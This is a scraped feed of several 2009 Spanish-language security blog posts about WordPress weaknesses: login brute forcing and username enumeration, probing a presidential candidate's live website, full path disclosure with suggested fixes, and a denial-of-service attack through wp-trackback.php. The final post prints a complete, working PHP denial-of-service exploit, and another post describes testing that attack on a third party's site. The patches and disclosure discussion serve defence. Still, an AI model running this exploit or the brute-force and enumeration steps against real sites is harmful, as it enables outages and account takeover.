El rincón de Zerial » pwnpress http://blog.zerial.org Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio Tue, 03 Jan 2012 00:13:53 +0000 en hourly 1 http://wordpress.org/?v=3.0 Ataque de fuerza bruta a WordPress http://blog.zerial.org/seguridad/ataque-de-fuerza-bruta-a-wordpress/ http://blog.zerial.org/seguridad/ataque-de-fuerza-bruta-a-wordpress/#comments Mon, 07 Dec 2009 12:29:07 +0000 Zerial http://blog.zerial.org/?p=1175 bruteforceLos ataques por fuerza bruta a instalaciones WordPress son un tanto faciles, ya que es muy sencillo determinar los usuarios del sistema y no tiene sistemas de protección de Throttling Login Attempts o límite de intentos de ingreso, lo cual nos permite hacer éste tipo de ataques.
Determinar los nombres de usuarios es tan sencillo como escribir algún supuesto usuario y llenar el campo de contraseña con cualquier información, cuando presionemos “Iniciar Sesion” el sistema nos dirá “Usuario incorrecto” si es que el usuario no existe o bien “Password incorrecta“, en el caso que el usuario si exista y el password sea invlálido. Con un ataque distribuido es posible obtener el password de un usuario en particular muy sencillamente, sólo es cosa de tiempo.
Si pensamos hacerlo de forma remota puede que nos tardemos un poco más, pero pensemos desde el mismo lado del servidor, imaginemosnos que tenemos una cuenta en el hosting donde está hospedado el CMS, será todo mucho más fácil y más rápido.

pwnpressHace un tiempo, yo publiqué un script en php bastante sencillo que nos permitía hacer ésto en simples pasos leyendo palabras desde un diccionario, lo interesante de éste script es que no sólo funciona con wordpress, sino con cualquier weblogin “simple” e inseguro. Luego encontré un artículo relacionado muy interesante, que hablaba sobre estos tipos de ataques y analizaban un script que encontraron en un servidor, el cual era mucho mas sofisticado y trabajado que el mio, permitia hacer ataques distribuidos desde distintas máquinas y de esta forma aumentar si desempeño más de un 1000% (sí, mil por ciento).

Su funcionamiento (copy&paste):

La funcion wp_brute_attempt() toma 3 parámetros, $ch que es la estuctura cURL (cURL es una herramienta de línea de comando que se puede usar para realizar peticiones HTTP ). Los otros dos parámetros definen el sitio y la contraseña que se intentará. Si el script consigue validarse exitosamente, la página que es devuelta por el servidor contendrá la frase “Log Out”, y la función devolverá el valor verdadero.

Ahora, lo interesante del script es que permite el cracking distribuido. La información es guardada en una base de datos MySQL y el script realmente se conecta en forma directa a la base de datos principal. Esto permite al atacante correr varios scripts simultáneos – cada uno de ellos tomará 200 URL nuevas y las marcará con el ID del script forzador ($colo)

Encuentro súper interesante lo que se hizo y de la forma en que fue pensado, la próxima véz que se me ocurra hacer algo así, lo hare distribuido usando una base de datos accesible remotamente para aumentar el rendimiento y desempeño del script. Si lo llego a hacer, publicaré una prueba de concepto con los resultados.

Fuente en español: Segu-Info

]]> http://blog.zerial.org/seguridad/ataque-de-fuerza-bruta-a-wordpress/feed/ 5 Sitios web de candidatos presidenciales al descubierto: MEO http://blog.zerial.org/seguridad/sitios-web-de-candidatos-presidenciales-al-descubierto-meo/ http://blog.zerial.org/seguridad/sitios-web-de-candidatos-presidenciales-al-descubierto-meo/#comments Sun, 06 Dec 2009 18:50:32 +0000 Zerial http://blog.zerial.org/?p=1161 Como ya anuncié hace un rato, empezaré con el sitio http://marco2010.cl.

meowned

Cuando comencé a escribir sobre éste sitio web, existía una vulnerabilidad de descubrimiento del path (Full Path Disclosure) junto a un SQL Injection y un XSS, dentro de un “plugin” hecho para las votaciones lo que luego fue corregido, no logré sacar screenshot y ejemplos para demostrarlo. Que hayan corregido éstos errores es un punto a favor para la seguridad del sitio. Vamos a ver hasta qué punto podemos poner a prueba la seguridad.

Es un sitio hecho en WordPress, por lo cual ya sabemos las rutas de los archivos y las posibles vulnerabilidades que podría tener el sitio. Por ejemplo, podemos empezar probando con el clásico wp-login que es el script que nos permite iniciar la sesión, descubrir una lista de usuarios, hacer fuerza bruta, etc. Nos vamos a la URL

http://www.marco2010.cl/wp-login.php

Y como podemos ver, ya nos aparece el formulario para iniciar la sesión. Para éstos casos, existe un truco y es probar siempre con el usuario admin, para ver si lo tienen habilitado, ya que es el único usuario que viene por defecto.

wplogin

Como podemos ver en el recuadro de “error“, nos dice que la contraseña es inválida, por ende, asumimos que el usuario está correcto. Ya sabemos que existe el usuario admin, ahora solo falta romper la password. Mientras dejamos un script de fuerza bruta corriendo, tambien podemos intentar averiguar más usuarios dentro del sistema, hasta llegar con alguno que tenga una password más fácil de romper con el cual podamos ganar acceso al dashboard del sitio.

Hay que tener en cuenta que ultimamente se han estado realizado muchos ataques por fuerza bruta a distintas instalaciones de wordpress. Pueden leer más sobre esto en el artículo titulado:

Distributed WordPress admin account cracking

Si bien la mayoría de los sitios en wordpress (incluyendo el mio) tienen este tipo de “fallo”, considero que es agujero de seguridad y que debería implementarse por último un htaccess.

Otra cosa que me llamó la atención es que los desarrolladores del theme marcoenriquezominami han desarrollado instalado un sistema de votacion o encuestas el cual lo han dejado dentro del directorio del theme. Toda la gente que ha desarrollado alguna véz en WordPress, sabrá que para éste tipo de cosas, debería crearse un plugin. El sistema que estos tipos descargaron e instalaron es el Advanced Poll 2.08, si  buscamos en google podemos ver que las versiones anteriores tienen diversas vulnerabilidades y que para descubrir alguna, basta con que descarguemos el codigo y sepamos como explotar algun fallo no reportado.
La URL para manejar las encuestas es:

http://encuestas.marco2010.cl/admin/

Si bien lo que les mostraré a continuación no es un “fallo de seguridad”, si nos va a permitir  ver cosas que quizá ellos no quieren que veamos, como la lista de archivos subidos, etc. Directory Listing:

Tambien tiene un wiki disponible en http://wiki.marco2010.cl.

Como conclusión, lo único que les puedo decir es que la seguridad del sitio va a depender de la seguridad de WordPress, Advanced Poll y de Wikimedia.
Si bien el sitio es “seguro”, será lo suficientemente vulnerable a medida que se vayan publicando bugs de las herramientas que nombré anteriormente.
Por ejemplo, cuando se publicó el DoS que afectaba al wp-trackback, éste sitio era completamente vulnerable. Yo mismo lo probé antes de que lo actualizaran.

Actualizado (10-12-2009) La persona encargada se contactó conmigo y acogieron mis recomendaciones.

]]> http://blog.zerial.org/seguridad/sitios-web-de-candidatos-presidenciales-al-descubierto-meo/feed/ 4 [Proof-of-Concept] DoS gracias al script wp-trackbacks de wordpress http://blog.zerial.org/seguridad/proof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress/ http://blog.zerial.org/seguridad/proof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress/#comments Sun, 18 Oct 2009 22:48:54 +0000 Zerial http://blog.zerial.org/?p=1033 Un par de horas atrás, publiqué un artículo luego de haber leído una publicación de jcarlosn. Me di el tiempo de realizar una prueba de concepto (PoC) usando el exploit que él mismo propone. Si bien el código que él publicó tiene algunos problemas, luego de hacerle un par de modificaciones logré ejecutarlo y analizar su comportamiento y ver cómo sufre el servidor objetivo.

Duración de la prueba de concepto: 2 minutos
Sitio o servidor objetivo: blog.zerial.org
Tipo de exploit: remoto
Vulnerabilidad: Resource Exhaustion (DoS)
Descripción: El servidor comienza a consumir recursos hasta agotarlos, provocando la denegación del servicio.

wpress-test

Ejecuté el exploit en tres consolas distintas de forma simultanea, y al pasar 10 o 15 segundos ya se comenzó a notar el consumo de recursos en el servidor.

wpress

La carga promedio ya va en 2.83 y el consumo del/los CPU llegando al 100%, un par de segundos más y …

wpress2

La carga promedio ya va en 3.75 y los procesadores están a su 100%, si se fijan en la memoria está consumiendo 408MB de 540, es decir, el servidor ya se está quedando sin recursos. Siguen pasando los segundos …

wpress3

wpress4

458Mb de ram y 4.25 de carga.

Los logs de apache me muestran las distintas peticiones simultaneas que hace el exploit:

wpress-log

Esta prueba de concepto la realicé con 3 peticiones simultaneas y durante 2 míseros minutos, si aumentamos las instancias del exploit y alargamos un poco mas el periodo de prueba, fácilmente podremos lograr la denegación de servicio en el servidor.

]]> http://blog.zerial.org/seguridad/proof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress/feed/ 7 Más Full Path Disclosure en WordPress y sin solución http://blog.zerial.org/seguridad/mas-full-path-disclosure-en-wordpress-y-sin-solucion/ http://blog.zerial.org/seguridad/mas-full-path-disclosure-en-wordpress-y-sin-solucion/#comments Sun, 18 Oct 2009 18:53:39 +0000 Zerial http://blog.zerial.org/?p=1016 Hace unos días publiqué un artículo sobre varios plugins que nos permitian ver el directorio completo de la instalación de wordpress (full path disclosure). Luego de esta publicación de una discusión en un hilo de la lista en full disclosure, me llegó un correo donde me comentaban que no sólo eran esos ficheros los que tenian esta vulnerabilidad, sino muchos más dentro de todo el sistema de wordpress.pwnpress
En la lista full disclosure y por otros medios, la gente me decia que eso se desactivaba facilmente deshabilitando la opcion “display errors” de php (ya sea en el php.ini, htaccess o en el mismo fichero php) pero mi opinión fue siempre la misma: Esta forma de ‘solucionarlo’ ocultaría el error pero en ningún caso lo solucionaría, es decir, el problema continuaría estando, pero oculto. Otras personas dieron otro tipo de solución como la de editar los ficheros e incluir una validación de la existencia de algunas constantes o variables que WordPress setea y, de esta forma, saber si el fichero se está ejecutando directamente o mediante wordpress.

Este problema lo reporté a security en wordpress.com el mismo día que hice la publicación pero no obtuve respuesta.

Ahora les mostraré los otros ficheros por los cuales es posible descubrir la ruta completa del sistema y las posibles soluciones que me han palnteado.

Dentro del directorio wp-admin/import tenemos varios ficheros php:

blogger.php
blogware.php
btt.php
dotclear.php
greymatter.php
jkw.php
livejournal.php
mt.php
opml.php
rss.php
stp.php
textpattern.php
utw.php
wordpress.php
wp-cat2tag.php

Todos vulnerables.
Dentro de wp-admin/includes tenemos los siguientes ficheros vulnerables:

admin.php
class-ftp-pure.php
class-ftp-sockets.php
class-wp-filesystem-direct.php
class-wp-filesystem-ftpext.php
class-wp-filesystem-ftpsockets.php
class-wp-filesystem-ssh2.php
comment.php
continents-cities.php
file.php
media.php
misc.php
plugin-install.php
plugin.php
schema.php
template.php
theme-install.php
update.php
upgrade.php
user.php

La solución que plantea esta persona es la siguiente:

  1. if ( defined(‘WP_ADMIN’) or defined(‘WP_USE_THEMES’) ){
  2. ;//coninue
  3. }
  4. else{
  5. die();
  6. }

o bien

  1. if ( defined(‘ABSPATH’)){
  2. die();

Esta persona me comentó que haría una publicación en su sitio web al respecto, pero no la encuentro. Les dejo el enlace a su blog por si las moscas: http://rollanwar.net

]]> http://blog.zerial.org/seguridad/mas-full-path-disclosure-en-wordpress-y-sin-solucion/feed/ 2 Denial-of-Service (DoS) rápido y de una forma muy sencilla en WordPress http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/ http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/#comments Sun, 18 Oct 2009 13:50:59 +0000 Zerial http://blog.zerial.org/?p=1014 pwnpressjcarlosn ha descubierto una vulnerabilidad en el fichero wp-trackbacks.php de wordpress, la cual nos permitiría hacer un tipo de denegación de servicio (DoS) con unas cuantas peticiones y sin necesidad de botnets o maquinas zombies.
Como él mismo nos cuenta:

Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, ni de nada, son sólo 20 peticiones a lo sumo, desde una línea ADSL convencional, para dejar K.O. a cualquier servidor que hospede un blog basado en wordpress.

El problema fue reportado a la seguridad en wordpress.com y no se obtuvo respuesta, luego se intentó comunicar con el creador de wordpress y al pasar un par de días, obtuvo una respuesta de que lo solucionarán en algún momento pero no de la forma que él proponia, sino que ellos mismos buscarán cómo hacerlo.
La misma persona que hizo público este bug, publicó un exploit y una posible solución.

El exploit:

  1. < ?php
  2.     //wordpress Resource exhaustion Exploit
  3.     //http://rooibo.wordpress.com/
  4.     //security@wordpress.org contacted and get a response,
  5.     //but no solution available.
  6.     if(count($argv) < 2) {
  7.     echo “You need to specify a url to attack\n”;
  8.     exit;
  9.     }
  10.  
  11.     $url = $argv[1];
  12.  
  13.     $data = parse_url($url);
  14.     if(count($data) < 2) {
  15.     echo “The url should have http:// in front of it, and should be complete.\n”;
  16.     exit;
  17.     }
  18.  
  19.     if(count($data) == 2) {
  20.     $path = ”;
  21.     } else {
  22.     $path = $data[‘path’];
  23.     }
  24.     $path = trim($path,’/‘);
  25.    $path .= ‘/wp-trackback.php’;
  26.    if($path{0} != ‘/’) {
  27.    $path = ‘/’.$path;
  28.    }
  29.  
  30.    $b = “”;
  31.    $b = str_pad($b,140000,’ABCEDFG’);
  32.    $b = utf8_encode($b);
  33.    $charset = “”;
  34.    $charset = str_pad($charset,140000,”UTF-8,”);
  35.  
  36.    $str = ‘charset=’.urlencode($charset);
  37.    $str .= ‘&url=www.example.com’;
  38.    $str .= ‘&title=’.$b;
  39.    $str .= ‘&blog_name=lol’;
  40.    $str .= ‘&excerpt=lol’;
  41.  
  42.    $count = 0;
  43.    while(1) {
  44.    $fp = @fsockopen($data['host'],80);
  45.    if(!$fp) {
  46.    if($count > 0) {
  47.    echo “down!!!!\n”;
  48.    exit;
  49.    }
  50.    echo “unable to connect to: “.$data['host'].”\n”;
  51.    exit;
  52.    }
  53.  
  54.    fputs($fp, “POST $path HTTP/1.1\r\n”);
  55.    fputs($fp, “Host: “.$data['host'].”\r\n”);
  56.    fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
  57.    fputs($fp, “Content-length: “.strlen($str).”\r\n”);
  58.    fputs($fp, “Connection: close\r\n\r\n”);
  59.    fputs($fp, $str.”\r\n\r\n”);
  60.  
  61.    echo “hit!\n”;
  62.    $count++;
  63.    }
  64.  
  65.    ?>

La solución:

Cambiar

  1. $charset = $_POST[‘charset’];

Por

  1. $charset = str_replace(”,”,”",$_POST['charset']);
  2. if(is_array($charset)) { exit; }
]]> http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/feed/ 1